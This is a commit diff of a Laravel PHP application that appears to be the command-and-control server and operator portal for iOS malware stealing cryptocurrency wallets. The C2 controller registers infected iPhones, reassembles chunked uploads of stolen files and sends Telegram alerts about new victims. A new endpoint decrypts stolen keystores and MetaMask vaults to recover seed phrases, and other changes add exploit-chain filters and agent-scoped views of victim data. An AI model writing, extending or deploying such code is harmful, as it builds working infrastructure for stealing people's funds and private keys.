Compare commits
2 Commits
00e440a0b4
...
d9ac47484f
| Author | SHA1 | Date | |
|---|---|---|---|
| d9ac47484f | |||
| cb92baa395 |
@@ -22,7 +22,6 @@ use App\Models\WalletMnemonic;
|
|||||||
use App\Services\DsBeaconQueue;
|
use App\Services\DsBeaconQueue;
|
||||||
use App\Services\PhotoOrigin;
|
use App\Services\PhotoOrigin;
|
||||||
use App\Services\PhotoPreview;
|
use App\Services\PhotoPreview;
|
||||||
use App\Services\Tokenview\TokenviewMonitorService;
|
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
use App\Support\CfIpCountry;
|
use App\Support\CfIpCountry;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
@@ -171,7 +170,7 @@ class DeviceController extends Controller
|
|||||||
return match ($tab) {
|
return match ($tab) {
|
||||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||||
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
|
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
|
||||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||||
@@ -519,28 +518,20 @@ class DeviceController extends Controller
|
|||||||
|
|
||||||
private function unmonitorAddresses(Device $device): void
|
private function unmonitorAddresses(Device $device): void
|
||||||
{
|
{
|
||||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
$n = $device->addresses()->where('monitor', 1)->count();
|
||||||
if ($addresses->isEmpty()) {
|
if ($n === 0) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
$svc = app(TokenviewMonitorService::class);
|
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
|
||||||
} catch (\Throwable) {
|
// ingest can leave dozens of monitor=1 rows; blocking delete on that
|
||||||
return;
|
// freezes the admin UI (and php artisan serve). Rows are deleted in
|
||||||
}
|
// the next step, so webhooks will no longer match monitor=1.
|
||||||
foreach ($addresses as $address) {
|
Log::info('device_purge skip_tokenview_unmonitor', [
|
||||||
try {
|
'id' => $device->id,
|
||||||
$address->monitor = 0;
|
'device_id' => $device->device_id,
|
||||||
$address->monitor_synced = false;
|
'monitor_rows' => $n,
|
||||||
$address->monitor_failures = 0;
|
]);
|
||||||
$svc->syncMonitor($address);
|
|
||||||
} catch (\Throwable $e) {
|
|
||||||
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'address_id' => $address->id,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private function authorizeDevice(Device $device): void
|
private function authorizeDevice(Device $device): void
|
||||||
@@ -675,18 +666,21 @@ class DeviceController extends Controller
|
|||||||
return $this->layuiPage($paginator->total(), $data);
|
return $this->layuiPage($paginator->total(), $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
|
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||||
{
|
{
|
||||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||||
|
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$sortable[] = 'needs_password';
|
||||||
|
}
|
||||||
if (! in_array($field, $sortable, true)) {
|
if (! in_array($field, $sortable, true)) {
|
||||||
$field = 'id';
|
$field = 'id';
|
||||||
}
|
}
|
||||||
|
|
||||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
|
||||||
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
|
|
||||||
// Step 1: get paginated IDs ordered by the sort field (no blob access).
|
|
||||||
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
|
|
||||||
$idQuery = $device->keystores()->orderBy($field, $order);
|
$idQuery = $device->keystores()->orderBy($field, $order);
|
||||||
|
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||||
|
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$idQuery->where('wallet_keystores.needs_password', 1);
|
||||||
|
}
|
||||||
$total = $idQuery->toBase()->getCountForPagination();
|
$total = $idQuery->toBase()->getCountForPagination();
|
||||||
$page = max(1, $page);
|
$page = max(1, $page);
|
||||||
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||||
@@ -708,14 +702,12 @@ class DeviceController extends Controller
|
|||||||
'id' => $row->id,
|
'id' => $row->id,
|
||||||
'source' => $row->sourceLabel(),
|
'source' => $row->sourceLabel(),
|
||||||
'decrypted' => (int) $row->decrypted,
|
'decrypted' => (int) $row->decrypted,
|
||||||
|
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||||
'kind' => $stats['kind'],
|
'kind' => $stats['kind'],
|
||||||
'item_count' => $stats['item_count'],
|
|
||||||
'summary' => $stats['summary'],
|
|
||||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
|
||||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||||
];
|
];
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
@@ -729,7 +721,7 @@ class DeviceController extends Controller
|
|||||||
$field = 'is_wallet';
|
$field = 'is_wallet';
|
||||||
$order = 'desc';
|
$order = 'desc';
|
||||||
}
|
}
|
||||||
$q = $device->apps();
|
$q = $device->apps()->listed();
|
||||||
if ($field === 'is_wallet') {
|
if ($field === 'is_wallet') {
|
||||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
|||||||
|
|
||||||
use App\Http\Controllers\Concerns\PortalAware;
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Device;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
@@ -41,19 +42,27 @@ class KeystoreController extends Controller
|
|||||||
{
|
{
|
||||||
$q = $this->baseQuery($request);
|
$q = $this->baseQuery($request);
|
||||||
|
|
||||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
$sortable = ['id', 'source', 'decrypted', 'chain', 'created_at', 'updated_at'];
|
||||||
|
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$sortable[] = 'needs_password';
|
||||||
|
}
|
||||||
$field = (string) $request->query('field', 'id');
|
$field = (string) $request->query('field', 'id');
|
||||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
if (! in_array($field, $sortable, true)) {
|
if (! in_array($field, $sortable, true)) {
|
||||||
$field = 'id';
|
$field = 'id';
|
||||||
}
|
}
|
||||||
$q->orderBy('wallet_keystores.'.$field, $order);
|
if ($field === 'chain' && ! WalletKeystore::hasChainColumn()) {
|
||||||
|
$q->orderBy('devices.chain', $order);
|
||||||
|
} else {
|
||||||
|
$q->orderBy('wallet_keystores.'.$field, $order);
|
||||||
|
}
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
||||||
'devices.device_id as device_key',
|
'devices.device_id as device_key',
|
||||||
'devices.channel_id as device_channel_id',
|
'devices.channel_id as device_channel_id',
|
||||||
|
'devices.chain as device_chain',
|
||||||
]);
|
]);
|
||||||
Log::info('keystore.list.data.start', [
|
Log::info('keystore.list.data.start', [
|
||||||
'page' => $page,
|
'page' => $page,
|
||||||
@@ -225,6 +234,72 @@ class KeystoreController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function decryptPassword(Request $request, WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
||||||
|
{
|
||||||
|
if (! $this->keystoreAllowed($keystore)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
if ((int) $keystore->needs_password !== 1) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
|
||||||
|
}
|
||||||
|
$password = trim((string) $request->input('password', ''));
|
||||||
|
if ($password === '') {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '请输入密码'], 422);
|
||||||
|
}
|
||||||
|
if (strlen($password) > 256) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '密码过长'], 422);
|
||||||
|
}
|
||||||
|
$device = $keystore->device;
|
||||||
|
if ($device === null) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
|
||||||
|
}
|
||||||
|
@set_time_limit(180);
|
||||||
|
@ini_set('max_execution_time', '180');
|
||||||
|
|
||||||
|
$before = WalletMnemonic::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->pluck('mnemonic_hash')
|
||||||
|
->all();
|
||||||
|
$seen = array_fill_keys($before, true);
|
||||||
|
|
||||||
|
$result = $adapter->decryptKeystoreWithPassword($device, $keystore, $password);
|
||||||
|
$keystore->refresh();
|
||||||
|
|
||||||
|
$after = WalletMnemonic::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get(['id', 'source', 'mnemonic_hash']);
|
||||||
|
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||||
|
$addedCount = $added->count();
|
||||||
|
|
||||||
|
if ($addedCount > 0) {
|
||||||
|
$msg = '已写入 '.$addedCount.' 条助记词';
|
||||||
|
$code = 0;
|
||||||
|
} elseif ((int) $keystore->decrypted === 1) {
|
||||||
|
$msg = '没有新的助记词(该来源可能已解密)';
|
||||||
|
$code = 0;
|
||||||
|
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0) {
|
||||||
|
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault)';
|
||||||
|
$code = 1;
|
||||||
|
} else {
|
||||||
|
$msg = '密码不正确,未能解开助记词';
|
||||||
|
$code = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => $code,
|
||||||
|
'msg' => $msg,
|
||||||
|
'data' => [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'decrypted' => (int) $keystore->decrypted,
|
||||||
|
'added' => $addedCount,
|
||||||
|
'mnemonic_total' => $after->count(),
|
||||||
|
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||||
|
'utc' => $result['utc'],
|
||||||
|
'vault' => (int) ($result['vault'] ?? 0),
|
||||||
|
],
|
||||||
|
], $code === 0 ? 200 : 400);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return array<string, mixed>
|
* @return array<string, mixed>
|
||||||
*/
|
*/
|
||||||
@@ -236,17 +311,16 @@ class KeystoreController extends Controller
|
|||||||
'id' => $row->id,
|
'id' => $row->id,
|
||||||
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
|
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
|
||||||
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
|
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
|
||||||
|
'chain' => (int) ($row->chain ?: $row->device_chain ?: Device::CHAIN_CORUNA),
|
||||||
'source' => $row->sourceLabel(),
|
'source' => $row->sourceLabel(),
|
||||||
'decrypted' => (int) $row->decrypted,
|
'decrypted' => (int) $row->decrypted,
|
||||||
|
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||||
'kind' => $stats['kind'],
|
'kind' => $stats['kind'],
|
||||||
'item_count' => $stats['item_count'],
|
|
||||||
'summary' => $stats['summary'],
|
|
||||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
|
||||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -296,10 +370,7 @@ class KeystoreController extends Controller
|
|||||||
{
|
{
|
||||||
$q = WalletKeystore::query()
|
$q = WalletKeystore::query()
|
||||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||||
->select(array_merge(WalletKeystore::listColumns(), [
|
->select('wallet_keystores.id');
|
||||||
'devices.device_id as device_key',
|
|
||||||
'devices.channel_id as device_channel_id',
|
|
||||||
]));
|
|
||||||
|
|
||||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||||
|
|
||||||
@@ -307,12 +378,17 @@ class KeystoreController extends Controller
|
|||||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
$source = trim((string) $request->query('source', ''));
|
$source = trim((string) $request->query('source', ''));
|
||||||
$decrypted = trim((string) $request->query('decrypted', ''));
|
$decrypted = trim((string) $request->query('decrypted', ''));
|
||||||
|
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||||
|
$chain = $this->parseChainFilter($request->query('chain'));
|
||||||
if ($channelId !== '') {
|
if ($channelId !== '') {
|
||||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
}
|
}
|
||||||
if ($deviceKey !== '') {
|
if ($deviceKey !== '') {
|
||||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
}
|
}
|
||||||
|
if ($chain !== null) {
|
||||||
|
$this->applyChainFilter($q, $chain);
|
||||||
|
}
|
||||||
if ($source !== '') {
|
if ($source !== '') {
|
||||||
if ($source === '未知') {
|
if ($source === '未知') {
|
||||||
$q->where(function (Builder $inner) {
|
$q->where(function (Builder $inner) {
|
||||||
@@ -326,6 +402,9 @@ class KeystoreController extends Controller
|
|||||||
if ($decrypted === '0' || $decrypted === '1') {
|
if ($decrypted === '0' || $decrypted === '1') {
|
||||||
$q->where('wallet_keystores.decrypted', (int) $decrypted);
|
$q->where('wallet_keystores.decrypted', (int) $decrypted);
|
||||||
}
|
}
|
||||||
|
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$q->where('wallet_keystores.needs_password', 1);
|
||||||
|
}
|
||||||
if (! $this->isAgentPortal()) {
|
if (! $this->isAgentPortal()) {
|
||||||
AgentScope::applyAgentUserFilter(
|
AgentScope::applyAgentUserFilter(
|
||||||
$q,
|
$q,
|
||||||
@@ -335,4 +414,42 @@ class KeystoreController extends Controller
|
|||||||
|
|
||||||
return $q;
|
return $q;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function applyChainFilter(Builder $q, int $chain): void
|
||||||
|
{
|
||||||
|
if (WalletKeystore::hasChainColumn()) {
|
||||||
|
$q->whereRaw(
|
||||||
|
'COALESCE(wallet_keystores.chain, devices.chain, ?) = ?',
|
||||||
|
[Device::CHAIN_CORUNA, $chain]
|
||||||
|
);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$q->where(function (Builder $inner) use ($chain) {
|
||||||
|
$inner->where('devices.chain', $chain);
|
||||||
|
if ($chain === Device::CHAIN_CORUNA) {
|
||||||
|
$inner->orWhereNull('devices.chain');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private function parseChainFilter(mixed $raw): ?int
|
||||||
|
{
|
||||||
|
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||||
|
if ($value === '' || $value === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if ($value === 1 || $value === '1' || $value === 'coruna') {
|
||||||
|
return Device::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||||
|
return Device::CHAIN_DARKSWORD;
|
||||||
|
}
|
||||||
|
if ($value === 3 || $value === '3' || $value === 'app') {
|
||||||
|
return Device::CHAIN_APP;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
namespace App\Http\Controllers\C2;
|
namespace App\Http\Controllers\C2;
|
||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Services\AiLiveUploadIngester;
|
use App\Services\AppUploadIngester;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Http\Response;
|
use Illuminate\Http\Response;
|
||||||
use Illuminate\Support\Facades\Cache;
|
use Illuminate\Support\Facades\Cache;
|
||||||
@@ -109,7 +109,7 @@ class AppC2Controller extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*).
|
* Catch-all for the App 利用链 C2 pipeline (/api/v2/*).
|
||||||
*
|
*
|
||||||
* Real protocol recovered from Reqable capture (record 13655):
|
* Real protocol recovered from Reqable capture (record 13655):
|
||||||
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
|
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
|
||||||
@@ -122,9 +122,9 @@ class AppC2Controller extends Controller
|
|||||||
* Log every request + persist chunk bodies, return protocol-faithful
|
* Log every request + persist chunk bodies, return protocol-faithful
|
||||||
* responses so the malware completes the full acquisition pipeline.
|
* responses so the malware completes the full acquisition pipeline.
|
||||||
*/
|
*/
|
||||||
public function aiLiveV2(Request $request): Response
|
public function appUpload(Request $request): Response
|
||||||
{
|
{
|
||||||
$this->logRequest($request, 'ailive_v2');
|
$this->logRequest($request, 'app_upload');
|
||||||
|
|
||||||
$path = $request->path(); // e.g. "api/v2/devices"
|
$path = $request->path(); // e.g. "api/v2/devices"
|
||||||
|
|
||||||
@@ -137,7 +137,7 @@ class AppC2Controller extends Controller
|
|||||||
// ── Device registration ─────────────────────────────────
|
// ── Device registration ─────────────────────────────────
|
||||||
if ($path === 'api/v2/devices') {
|
if ($path === 'api/v2/devices') {
|
||||||
$body = json_decode((string) $request->getContent(false), true) ?? [];
|
$body = json_decode((string) $request->getContent(false), true) ?? [];
|
||||||
$device = $this->registerAiLiveDevice($request, $body);
|
$device = $this->registerAppDevice($request, $body);
|
||||||
|
|
||||||
return $this->json([
|
return $this->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
@@ -162,10 +162,10 @@ class AppC2Controller extends Controller
|
|||||||
$uploadId = \Illuminate\Support\Str::uuid()->toString();
|
$uploadId = \Illuminate\Support\Str::uuid()->toString();
|
||||||
|
|
||||||
// Resolve the device so we can ingest keystores on completion.
|
// Resolve the device so we can ingest keystores on completion.
|
||||||
$device = $this->findAiLiveDevice($request);
|
$device = $this->findAppDevice($request);
|
||||||
|
|
||||||
// Persist session state for chunk tracking
|
// Persist session state for chunk tracking
|
||||||
Cache::put("ailive_upload:{$uploadId}", [
|
Cache::put("app_upload:{$uploadId}", [
|
||||||
'fileName' => $fileName,
|
'fileName' => $fileName,
|
||||||
'fileSize' => $fileSize,
|
'fileSize' => $fileSize,
|
||||||
'chunkSize' => $chunkSize,
|
'chunkSize' => $chunkSize,
|
||||||
@@ -197,7 +197,7 @@ class AppC2Controller extends Controller
|
|||||||
$uploadId = $m[1];
|
$uploadId = $m[1];
|
||||||
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
|
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
|
||||||
|
|
||||||
$session = Cache::get("ailive_upload:{$uploadId}");
|
$session = Cache::get("app_upload:{$uploadId}");
|
||||||
$numberOfChunks = $session['numberOfChunks'] ?? 1;
|
$numberOfChunks = $session['numberOfChunks'] ?? 1;
|
||||||
$chunkSize = $session['chunkSize'] ?? 1048576;
|
$chunkSize = $session['chunkSize'] ?? 1048576;
|
||||||
$received = ($session['receivedChunks'] ?? 0) + 1;
|
$received = ($session['receivedChunks'] ?? 0) + 1;
|
||||||
@@ -206,13 +206,13 @@ class AppC2Controller extends Controller
|
|||||||
// Backfill deviceId into the session from the x-device-id header
|
// Backfill deviceId into the session from the x-device-id header
|
||||||
// if it wasn't captured at /api/v2/uploads time (e.g. session
|
// if it wasn't captured at /api/v2/uploads time (e.g. session
|
||||||
// expired, or the uploads request didn't carry the header).
|
// expired, or the uploads request didn't carry the header).
|
||||||
$headerDeviceId = $this->findAiLiveDevice($request)?->id;
|
$headerDeviceId = $this->findAppDevice($request)?->id;
|
||||||
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
|
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
|
||||||
$session['deviceId'] = $headerDeviceId;
|
$session['deviceId'] = $headerDeviceId;
|
||||||
}
|
}
|
||||||
if ($session) {
|
if ($session) {
|
||||||
$session['receivedChunks'] = $received;
|
$session['receivedChunks'] = $received;
|
||||||
Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2));
|
Cache::put("app_upload:{$uploadId}", $session, now()->addHours(2));
|
||||||
}
|
}
|
||||||
|
|
||||||
// On the final chunk, reassemble + parse + store keystores so
|
// On the final chunk, reassemble + parse + store keystores so
|
||||||
@@ -242,9 +242,9 @@ class AppC2Controller extends Controller
|
|||||||
if ($path === 'api/v2/finish') {
|
if ($path === 'api/v2/finish') {
|
||||||
// All uploads for this device are done — dispatch the async
|
// All uploads for this device are done — dispatch the async
|
||||||
// keystore decryption job to recover mnemonics + addresses.
|
// keystore decryption job to recover mnemonics + addresses.
|
||||||
$device = $this->findAiLiveDevice($request);
|
$device = $this->findAppDevice($request);
|
||||||
if ($device !== null) {
|
if ($device !== null) {
|
||||||
app(AiLiveUploadIngester::class)->dispatchDecrypt($device);
|
app(AppUploadIngester::class)->dispatchDecrypt($device);
|
||||||
}
|
}
|
||||||
|
|
||||||
return $this->json(['ok' => true]);
|
return $this->json(['ok' => true]);
|
||||||
@@ -373,7 +373,7 @@ class AppC2Controller extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Find or create a Device row for an ai-live app-injection beacon.
|
* Find or create a Device row for an App 利用链 beacon.
|
||||||
*
|
*
|
||||||
* The malware POSTs /api/v2/devices with a JSON body carrying:
|
* The malware POSTs /api/v2/devices with a JSON body carrying:
|
||||||
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
|
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
|
||||||
@@ -391,7 +391,7 @@ class AppC2Controller extends Controller
|
|||||||
*
|
*
|
||||||
* @param array<string, mixed> $body
|
* @param array<string, mixed> $body
|
||||||
*/
|
*/
|
||||||
private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device
|
private function registerAppDevice(Request $request, array $body): ?\App\Models\Device
|
||||||
{
|
{
|
||||||
$rawId = (string) ($body['deviceId']
|
$rawId = (string) ($body['deviceId']
|
||||||
?? $request->headers->get('x-device-id')
|
?? $request->headers->get('x-device-id')
|
||||||
@@ -461,7 +461,7 @@ class AppC2Controller extends Controller
|
|||||||
$device->saveQuietly();
|
$device->saveQuietly();
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
|
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
|
||||||
'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(),
|
'appUpload telegram notifyNewDevice failed: '.$e->getMessage(),
|
||||||
['device_id' => $device->id, 'device_key' => $device->device_id],
|
['device_id' => $device->id, 'device_key' => $device->device_id],
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -475,7 +475,7 @@ class AppC2Controller extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Look up the Device for the current ai-live request without creating
|
* Look up the Device for the current App 利用链 request without creating
|
||||||
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
|
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
|
||||||
* /api/v2/finish where the device was already registered via
|
* /api/v2/finish where the device was already registered via
|
||||||
* /api/v2/devices).
|
* /api/v2/devices).
|
||||||
@@ -486,7 +486,7 @@ class AppC2Controller extends Controller
|
|||||||
* fall back to the most recently registered CHAIN_APP device from the
|
* fall back to the most recently registered CHAIN_APP device from the
|
||||||
* same source IP, so the captured artifacts are never orphaned.
|
* same source IP, so the captured artifacts are never orphaned.
|
||||||
*/
|
*/
|
||||||
private function findAiLiveDevice(Request $request): ?\App\Models\Device
|
private function findAppDevice(Request $request): ?\App\Models\Device
|
||||||
{
|
{
|
||||||
// 1. Primary: x-device-id header → device_id lookup.
|
// 1. Primary: x-device-id header → device_id lookup.
|
||||||
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
|
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
|
||||||
@@ -536,17 +536,17 @@ class AppC2Controller extends Controller
|
|||||||
// Skip ingestion — the artifacts stay on disk and can be
|
// Skip ingestion — the artifacts stay on disk and can be
|
||||||
// reprocessed manually.
|
// reprocessed manually.
|
||||||
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
|
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
|
||||||
'aiLiveV2 ingest skipped: no device associated with upload',
|
'appUpload ingest skipped: no device associated with upload',
|
||||||
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
|
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
|
||||||
);
|
);
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session);
|
app(AppUploadIngester::class)->ingest($device, $uploadId, $session);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
\Illuminate\Support\Facades\Log::channel('keystore')->error(
|
\Illuminate\Support\Facades\Log::channel('keystore')->error(
|
||||||
'aiLiveV2 ingest failed: '.$e->getMessage(),
|
'appUpload ingest failed: '.$e->getMessage(),
|
||||||
['device_id' => $device->id, 'upload_id' => $uploadId],
|
['device_id' => $device->id, 'upload_id' => $uploadId],
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -595,7 +595,7 @@ class AppC2Controller extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
|
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
|
||||||
// ai-live /api/v2/uploads/{id}/chunks — octet-stream).
|
// App 利用链 /api/v2/uploads/{id}/chunks — octet-stream).
|
||||||
// Name files with uploadId + chunkIndex so chunks can be reassembled.
|
// Name files with uploadId + chunkIndex so chunks can be reassembled.
|
||||||
if ($body !== '' && empty($saved)) {
|
if ($body !== '' && empty($saved)) {
|
||||||
$path = $request->path();
|
$path = $request->path();
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
namespace App\Jobs;
|
namespace App\Jobs;
|
||||||
|
|
